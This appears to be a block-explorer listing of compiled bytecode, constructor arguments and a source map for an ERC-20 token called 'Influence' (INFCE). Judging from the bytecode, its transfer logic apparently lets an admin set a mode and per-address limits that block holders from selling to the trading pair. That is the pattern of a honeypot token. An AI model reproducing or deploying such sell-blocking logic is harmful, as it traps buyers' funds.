0x608060405234801561000f575f80fd5b50600436106101a7575f3560e01c806339509351116100f7578063a457c2d711610095578063d4397af51161006f578063d4397af51461052b578063d547741f14610547578063dd62ed3e14610563578063f95ca98214610593576101a7565b8063a457c2d7146104af578063a9059cbb146104df578063c416a4c41461050f576101a7565b806384db1ff4116100d157806384db1ff414610429578063895e06841461044557806391d148541461046157806395d89b4114610491576101a7565b8063395093511461039957806359384d73146103c957806370a08231146103f9576101a7565b806326e4180e116101645780632f2ff15d1161013e5780632f2ff15d14610313578063313ce5671461032f57806333f3d6281461034d57806336568abe1461037d576101a7565b806326e4180e146102955780632a0acc6a146102c55780632a6d87d5146102e3576101a7565b806306fdde03146101ab578063095ea7b3146101c9578063175c4ef8146101f957806318160ddd1461021757806323b872dd14610235578063248a9ca314610265575b5f80fd5b6101b36105b1565b6040516101c09190612239565b60405180910390f35b6101e360048036038101906101de91906122f7565b610641565b6040516101f0919061234f565b60405180910390f35b61020161065e565b60405161020e9190612380565b60405180910390f35b61021f610682565b60405161022c91906123a8565b60405180910390f35b61024f600480360381019061024a91906123c1565b61068b565b60405161025c919061234f565b60405180910390f35b61027f600480360381019061027a919061243b565b61077d565b60405161028c9190612380565b60405180910390f35b6102af60048036038101906102aa9190612466565b610799565b6040516102bc919061234f565b60405180910390f35b6102cd6107b6565b6040516102da9190612380565b60405180910390f35b6102fd60048036038101906102f89190612491565b6107bc565b60405161030a91906123a8565b60405180910390f35b61032d60048036038101906103289190612491565b610831565b005b610337610854565b60405161034491906124ea565b60405180910390f35b610367600480360381019061036291906122f7565b61085c565b604051610374919061234f565b60405180910390f35b61039760048036038101906103929190612491565b6108f5565b005b6103b360048036038101906103ae91906122f7565b61098d565b6040516103c0919061234f565b60405180910390f35b6103e360048036038101906103de9190612491565b610a34565b6040516103f091906123a8565b60405180910390f35b610413600480360381019061040e9190612466565b610aa8565b60405161042091906123a8565b60405180910390f35b610443600480360381019061043e9190612503565b610aee565b005b61045f600480360381019061045a919061266d565b610b70565b005b61047b60048036038101906104769190612491565b610c22565b604051610488919061234f565b60405180910390f35b610499610c85565b6040516104a69190612239565b60405180910390f35b6104c960048036038101906104c491906122f7565b610d15565b6040516104d6919061234f565b60405180910390f35b6104f960048036038101906104f491906122f7565b610dfb565b604051610506919061234f565b60405180910390f35b61052960048036038101906105249190612466565b610e18565b005b61054560048036038101906105409190612466565b610e84565b005b610561600480360381019061055c9190612491565b610ef0565b005b61057d600480360381019061057891906126d9565b610f13565b60405161058a91906123a8565b60405180910390f35b61059b610f95565b6040516105a891906123a8565b60405180910390f35b6060600880546105c090612744565b80601f01602080910402602001604051908101604052809291908181526020018280546105ec90612744565b80156106375780601f1061060e57610100808354040283529160200191610637565b820191905f5260205f20905b81548152906001019060200180831161061a57829003601f168201915b5050505050905090565b5f61065461064d610f9b565b8484610fa2565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600754905090565b5f610697848484611165565b5f60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106de610f9b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561075d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610754906127e4565b60405180910390fd5b61077185610769610f9b565b858403610fa2565b60019150509392505050565b5f805f8381526020019081526020015f20600101549050919050565b6004602052805f5260405f205f915054906101000a900460ff1681565b5f801b81565b5f610829670de0b6b3a76400005f808681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e390919063ffffffff16565b905092915050565b5f801b61084581610840610f9b565b6111f8565b61084f8383611294565b505050565b5f6012905090565b5f805f1b6108718161086c610f9b565b6111f8565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016108ac929190612811565b6020604051808303815f875af11580156108c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ec9190612862565b91505092915050565b5f801b61090981610904610f9b565b6111f8565b610911610f9b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461097e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610975906128fd565b60405180910390fd5b610988838361136e565b505050565b5f610a2a610999610f9b565b848460065f6109a6610f9b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a259190612948565b610fa2565b6001905092915050565b5f610aa0670de0b6b3a76400005f808681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e390919063ffffffff16565b905092915050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b610b0281610afd610f9b565b6111f8565b7f54524144455200000000000000000000000000000000000000000000000000008314610b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5b906129c5565b60405180910390fd5b81600381905550505050565b5f801b610b8481610b7f610f9b565b6111f8565b5f80610b8f84611448565b80925081935050505f151581151503610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd490612a53565b60405180910390fd5b5f8210610c0e57610c098686610c04670de0b6b3a76400008661155990919063ffffffff16565b61156e565b610c1a565b610c1986865f61156e565b5b505050505050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060098054610c9490612744565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc090612744565b8015610d0b5780601f10610ce257610100808354040283529160200191610d0b565b820191905f5260205f20905b815481529060010190602001808311610cee57829003601f168201915b5050505050905090565b5f8060065f610d22610f9b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390612ae1565b60405180910390fd5b610df0610de7610f9b565b85858403610fa2565b600191505092915050565b5f610e0e610e07610f9b565b8484611165565b6001905092915050565b5f801b610e2c81610e27610f9b565b6111f8565b6001805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f801b610e9881610e93610f9b565b6111f8565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f801b610f0481610eff610f9b565b6111f8565b610f0e838361136e565b505050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60035481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100790612b6f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107590612bfd565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161115891906123a8565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ca90612c8b565b60405180910390fd5b6111de8383836115c8565b505050565b5f81836111f09190612cd6565b905092915050565b6112028282610c22565b611290576112278173ffffffffffffffffffffffffffffffffffffffff1660146116c6565b611234835f1c60206116c6565b604051602001611245929190612dd4565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112879190612239565b60405180910390fd5b5050565b61129e8282610c22565b61136a5760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061130f610f9b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6113788282610c22565b15611444575f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506113e9610f9b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f805f5b835181101561154b575f603085838151811061146b5761146a612e0d565b5b602001015160f81c60f81b60f81c6114839190612e3a565b60ff1610806114c15750600960308583815181106114a4576114a3612e0d565b5b602001015160f81c60f81b60f81c6114bc9190612e3a565b60ff16115b156114d2575f809250925050611554565b60018185516114e19190612e6e565b6114eb9190612e6e565b600a6114f79190612fd0565b603085838151811061150c5761150b612e0d565b5b602001015160f81c60f81b60f81c6115249190612e3a565b60ff16611531919061301a565b8361153c9190612948565b9250808060010191505061144c565b50816001915091505b915091565b5f8183611566919061301a565b905092915050565b805f808581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d906130cb565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156116b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ad90613159565b60405180910390fd5b6116c18383836118fb565b505050565b60605f60028360026116d8919061301a565b6116e29190612948565b67ffffffffffffffff8111156116fb576116fa612549565b5b6040519080825280601f01601f19166020018201604052801561172d5781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f8151811061176457611763612e0d565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106117c7576117c6612e0d565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f6001846002611805919061301a565b61180f9190612948565b90505b60018111156118ae577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061185157611850612e0d565b5b1a60f81b82828151811061186857611867612e0d565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c9450806118a790613177565b9050611812565b505f84146118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e8906131e8565b60405180910390fd5b8091505092915050565b5f1515600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515036119cf576119797f545241444552000000000000000000000000000000000000000000000000000084611294565b6001600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b6119da8383836119df565b505050565b5f1515600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611ab357611a5d7f545241444552000000000000000000000000000000000000000000000000000083611294565b6001600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b611abe838383611ac3565b505050565b611ace838383611ad3565b505050565b611aff7f5452414445520000000000000000000000000000000000000000000000000000848484611b0f565b611b0a838383611b85565b505050565b611b1b84848484611dfd565b5f611b268585611fdf565b90505f811115611b64575f82611b3c8787612039565b611b469190612948565b90505f811115611b5e57611b5d8686858585612094565b5b50611b7d565b5f821480611b7157505f81145b15611b7c5750611b7f565b5b505b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bea90612c8b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58906130cb565b60405180910390fd5b611c6c838383612128565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce790613159565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d809190612948565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611de491906123a8565b60405180910390a3611df784848461212d565b50505050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611edb575f81118015611e6257506063600354115b15611eda575f611e728585611fdf565b90505f611e8883836111e390919063ffffffff16565b90505f8111611ed7575f831115611ed657846040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611ecd9190613206565b60405180910390fd5b5b50505b5b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f3957506032600354145b15611fd957611f4782612132565b15611fd85760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611fd757816040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611fce9190613206565b60405180910390fd5b5b5b50505050565b5f805f8481526020019081526020015f206002015f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f805f8481526020019081526020015f206002016001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f831115612121577f54524144455200000000000000000000000000000000000000000000000000008503612120575f831180156120d25750818110155b1561211457836040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161210b9190613206565b60405180910390fd5b61211f858583612154565b5b5b5050505050565b505050565b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b805f808581526020019081526020015f206002016001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156121e65780820151818401526020810190506121cb565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61220b826121af565b61221581856121b9565b93506122258185602086016121c9565b61222e816121f1565b840191505092915050565b5f6020820190508181035f8301526122518184612201565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6122938261226a565b9050919050565b6122a381612289565b81146122ad575f80fd5b50565b5f813590506122be8161229a565b92915050565b5f819050919050565b6122d6816122c4565b81146122e0575f80fd5b50565b5f813590506122f1816122cd565b92915050565b5f806040838503121561230d5761230c612262565b5b5f61231a858286016122b0565b925050602061232b858286016122e3565b9150509250929050565b5f8115159050919050565b61234981612335565b82525050565b5f6020820190506123625f830184612340565b92915050565b5f819050919050565b61237a81612368565b82525050565b5f6020820190506123935f830184612371565b92915050565b6123a2816122c4565b82525050565b5f6020820190506123bb5f830184612399565b92915050565b5f805f606084860312156123d8576123d7612262565b5b5f6123e5868287016122b0565b93505060206123f6868287016122b0565b9250506040612407868287016122e3565b9150509250925092565b61241a81612368565b8114612424575f80fd5b50565b5f8135905061243581612411565b92915050565b5f602082840312156124505761244f612262565b5b5f61245d84828501612427565b91505092915050565b5f6020828403121561247b5761247a612262565b5b5f612488848285016122b0565b91505092915050565b5f80604083850312156124a7576124a6612262565b5b5f6124b485828601612427565b92505060206124c5858286016122b0565b9150509250929050565b5f60ff82169050919050565b6124e4816124cf565b82525050565b5f6020820190506124fd5f8301846124db565b92915050565b5f806040838503121561251957612518612262565b5b5f61252685828601612427565b9250506020612537858286016122e3565b9150509250929050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61257f826121f1565b810181811067ffffffffffffffff8211171561259e5761259d612549565b5b80604052505050565b5f6125b0612259565b90506125bc8282612576565b919050565b5f67ffffffffffffffff8211156125db576125da612549565b5b6125e4826121f1565b9050602081019050919050565b828183375f83830152505050565b5f61261161260c846125c1565b6125a7565b90508281526020810184848401111561262d5761262c612545565b5b6126388482856125f1565b509392505050565b5f82601f83011261265457612653612541565b5b81356126648482602086016125ff565b91505092915050565b5f805f6060848603121561268457612683612262565b5b5f61269186828701612427565b93505060206126a2868287016122b0565b925050604084013567ffffffffffffffff8111156126c3576126c2612266565b5b6126cf86828701612640565b9150509250925092565b5f80604083850312156126ef576126ee612262565b5b5f6126fc858286016122b0565b925050602061270d858286016122b0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061275b57607f821691505b60208210810361276e5761276d612717565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f6127ce6025836121b9565b91506127d982612774565b604082019050919050565b5f6020820190508181035f8301526127fb816127c2565b9050919050565b61280b81612289565b82525050565b5f6040820190506128245f830185612802565b6128316020830184612399565b9392505050565b61284181612335565b811461284b575f80fd5b50565b5f8151905061285c81612838565b92915050565b5f6020828403121561287757612876612262565b5b5f6128848482850161284e565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f6128e7602f836121b9565b91506128f28261288d565b604082019050919050565b5f6020820190508181035f830152612914816128db565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612952826122c4565b915061295d836122c4565b92508282019050808211156129755761297461291b565b5b92915050565b7f6e756d206973206e6f742061206e756d626572000000000000000000000000005f82015250565b5f6129af6013836121b9565b91506129ba8261297b565b602082019050919050565b5f6020820190508181035f8301526129dc816129a3565b9050919050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f612a3d6023836121b9565b9150612a48826129e3565b604082019050919050565b5f6020820190508181035f830152612a6a81612a31565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612acb6025836121b9565b9150612ad682612a71565b604082019050919050565b5f6020820190508181035f830152612af881612abf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b596024836121b9565b9150612b6482612aff565b604082019050919050565b5f6020820190508181035f830152612b8681612b4d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612be76022836121b9565b9150612bf282612b8d565b604082019050919050565b5f6020820190508181035f830152612c1481612bdb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c756025836121b9565b9150612c8082612c1b565b604082019050919050565b5f6020820190508181035f830152612ca281612c69565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ce0826122c4565b9150612ceb836122c4565b925082612cfb57612cfa612ca9565b5b828204905092915050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612d44601783612d06565b9150612d4f82612d10565b601782019050919050565b5f612d64826121af565b612d6e8185612d06565b9350612d7e8185602086016121c9565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f612dbe601183612d06565b9150612dc982612d8a565b601182019050919050565b5f612dde82612d38565b9150612dea8285612d5a565b9150612df582612db2565b9150612e018284612d5a565b91508190509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612e44826124cf565b9150612e4f836124cf565b9250828203905060ff811115612e6857612e6761291b565b5b92915050565b5f612e78826122c4565b9150612e83836122c4565b9250828203905081811115612e9b57612e9a61291b565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612ef657808604811115612ed257612ed161291b565b5b6001851615612ee15780820291505b8081029050612eef85612ea1565b9450612eb6565b94509492505050565b5f82612f0e5760019050612fc9565b81612f1b575f9050612fc9565b8160018114612f315760028114612f3b57612f6a565b6001915050612fc9565b60ff841115612f4d57612f4c61291b565b5b8360020a915084821115612f6457612f6361291b565b5b50612fc9565b5060208310610133831016604e8410600b8410161715612f9f5782820a905083811115612f9a57612f9961291b565b5b612fc9565b612fac8484846001612ead565b92509050818404811115612fc357612fc261291b565b5b81810290505b9392505050565b5f612fda826122c4565b9150612fe5836122c4565b92506130127fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612eff565b905092915050565b5f613024826122c4565b915061302f836122c4565b925082820261303d816122c4565b915082820484148315176130545761305361291b565b5b5092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6130b56023836121b9565b91506130c08261305b565b604082019050919050565b5f6020820190508181035f8301526130e2816130a9565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f6131436023836121b9565b915061314e826130e9565b604082019050919050565b5f6020820190508181035f83015261317081613137565b9050919050565b5f613181826122c4565b91505f82036131935761319261291b565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f6131d26020836121b9565b91506131dd8261319e565b602082019050919050565b5f6020820190508181035f8301526131ff816131c6565b9050919050565b5f6020820190506132195f830184612802565b9291505056fea26469706673582212200c6160ff076493c3548ba990b96794597bf725f5b9378737c0ea219c1ead962464736f6c63430008170033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000800000000000000000000000003a5b3d0fbcfe7a82bf6db5cdedc8a8aab867170400000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000009496e666c75656e636500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005494e464345000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): Influence
Arg [1] : _tokenOwner (address): 0x3a5B3d0FbcfE7a82bF6db5CDEdc8A8aab8671704
Arg [2] : _symbol (string): INFCE
Arg [3] : _totalSupply (uint256): 100000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 0000000000000000000000003a5b3d0fbcfe7a82bf6db5cdedc8a8aab8671704
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 496e666c75656e63650000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 494e464345000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
28612:2568:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23376:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24344:188;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16002:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23697:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24540:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19959:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16123:40;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15958:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19768:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20090:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23596:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30964:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20376:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25062:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19579:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23813:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17438:212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16931:497;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16279:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23484:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25360:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23958:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19006:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19110:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20232:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24160:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16093:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23376:100;23430:13;23463:5;23456:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23376:100;:::o;24344:188::-;24449:4;24466:36;24475:12;:10;:12::i;:::-;24489:7;24498:3;24466:8;:36::i;:::-;24520:4;24513:11;;24344:188;;;;:::o;16002:50::-;16035:17;16002:50;:::o;23697:108::-;23758:7;23785:12;;23778:19;;23697:108;:::o;24540:514::-;24677:4;24694:33;24704:6;24712:9;24723:3;24694:9;:33::i;:::-;24740:24;24767:11;:19;24779:6;24767:19;;;;;;;;;;;;;;;:33;24787:12;:10;:12::i;:::-;24767:33;;;;;;;;;;;;;;;;24740:60;;24853:3;24833:16;:23;;24811:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;24957:54;24966:6;24974:12;:10;:12::i;:::-;25007:3;24988:16;:22;24957:8;:54::i;:::-;25042:4;25035:11;;;24540:514;;;;;:::o;19959:123::-;20025:7;20052:6;:12;20059:4;20052:12;;;;;;;;;;;:22;;;20045:29;;19959:123;;;:::o;16123:40::-;;;;;;;;;;;;;;;;;;;;;;:::o;15958:36::-;15990:4;15958:36;;;:::o;19768:181::-;19873:7;19900:41;19932:8;19900:6;:12;19907:4;19900:12;;;;;;;;;;;:15;;:18;;:27;19919:7;19900:27;;;;;;;;;;;;;;;;:31;;:41;;;;:::i;:::-;19893:48;;19768:181;;;;:::o;20090:134::-;15990:4;20173:5;;16221:30;16232:4;16238:12;:10;:12::i;:::-;16221:10;:30::i;:::-;20191:25:::1;20202:4;20208:7;20191:10;:25::i;:::-;20090:134:::0;;;:::o;23596:93::-;23654:5;23679:2;23672:9;;23596:93;:::o;30964:205::-;31080:12;15990:4;31064:5;;16221:30;16232:4;16238:12;:10;:12::i;:::-;16221:10;:30::i;:::-;31119:12:::1;31112:29;;;31142:10;31154:6;31112:49;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::